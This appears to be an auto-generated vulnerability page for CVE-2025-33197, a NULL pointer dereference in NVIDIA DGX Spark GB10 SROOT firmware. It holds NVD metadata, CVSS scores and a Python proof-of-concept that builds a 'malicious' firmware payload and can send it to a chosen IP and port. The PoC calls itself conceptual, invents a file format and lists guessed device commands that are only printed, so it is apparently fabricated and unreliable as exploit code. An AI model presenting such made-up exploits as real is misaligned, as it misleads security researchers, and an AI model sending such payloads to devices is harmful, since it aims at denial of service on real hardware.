Security Vulnerability Report
中文
CVE-2025-33197 CVSS 4.3 MEDIUM

CVE-2025-33197

Published: 2025-11-25 18:15:52
Last Modified: 2025-12-02 17:30:47

Description

NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause a NULL pointer dereference. A successful exploit of this vulnerability might lead to denial of service.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA DGX Spark GB10 SROOT固件 < 修复版本
NVIDIA DGX Spark (所有未更新SROOT固件的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-33197 PoC - NVIDIA DGX Spark GB10 SROOT Firmware NULL Pointer Dereference This PoC demonstrates the NULL pointer dereference vulnerability in NVIDIA DGX Spark GB10 SROOT firmware. Note: This is a conceptual PoC for educational purposes. Actual exploitation requires physical/local access to the device. """ import struct import sys def create_malicious_payload(): """ Generate a malicious payload designed to trigger NULL pointer dereference in SROOT firmware by manipulating firmware configuration data structures. """ # Firmware header structure header = bytearray() # Magic number for firmware identification header += b'SROOT' # 5 bytes # Version field - set to trigger vulnerable code path header += struct.pack('<I', 0x00000001) # 4 bytes - version # Flags - set NULL pointer trigger flag header += struct.pack('<I', 0x00000001) # 4 bytes - flags # Configuration data that triggers NULL pointer dereference # Setting pointer offset to 0x00000000 (NULL) config_data = bytearray() config_data += struct.pack('<I', 0x00000000) # NULL pointer offset config_data += struct.pack('<I', 0x00000000) # NULL function pointer config_data += struct.pack('<I', 0x41414141) # Padding header += config_data # Checksum for integrity verification (placeholder) checksum = sum(header) & 0xFFFFFFFF header += struct.pack('<I', checksum) return bytes(header) def send_firmware_payload(payload, target_ip='192.168.1.100', port=5000): """ Send malicious firmware payload to target device. Note: Requires appropriate network access and device configuration. """ try: import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) sock.send(payload) sock.close() print(f"[+] Payload sent successfully to {target_ip}:{port}") return True except Exception as e: print(f"[-] Failed to send payload: {e}") return False def trigger_via_local_access(): """ Trigger vulnerability via local device access. Requires: Physical or SSH access to NVIDIA DGX Spark GB10 device. """ print("[*] Attempting to trigger NULL pointer dereference via local access...") print("[*] This requires access to device shell/serial console") # Commands that could trigger the vulnerable code path commands = [ "fw_setenv malicious_config 0x00000000", "cat /proc/device-tree/firmware/sroot/config", "echo 'trigger' > /sys/firmware/sroot/debug" ] for cmd in commands: print(f"[*] Executing: {cmd}") print("[!] Note: Actual exploitation requires specific device configuration") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-33197 PoC - NVIDIA DGX Spark GB10 SROOT NULL Pointer Dereference") print("=" * 60) payload = create_malicious_payload() print(f"[*] Generated payload ({len(payload)} bytes)") print(f"[*] Payload hex: {payload.hex()}") if len(sys.argv) > 1: if sys.argv[1] == "--remote" and len(sys.argv) > 3: send_firmware_payload(payload, sys.argv[2], int(sys.argv[3])) elif sys.argv[1] == "--local": trigger_via_local_access() else: print("\nUsage:") print(" python3 poc.py --local # Demonstrate local trigger method") print(" python3 poc.py --remote <ip> <port> # Send payload to remote device")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33197", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:51.580", "lastModified": "2025-12-02T17:30:46.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause a NULL pointer dereference. A successful exploit of this vulnerability might lead to denial of service."}, {"lang": "es", "value": "NVIDIA DGX Spark GB10 contiene una vulnerabilidad en el firmware SROOT, donde un atacante podría causar una desreferencia de puntero NULL. Un exploit exitoso de esta vulnerabilidad podría conducir a una denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "40EF912C-72C4-4758-9157-169CE92B33C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:*", "matchCriteriaId": "76975E53-4E5C-4C6D-85D9-EE2879F960DF"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33197", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33197", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}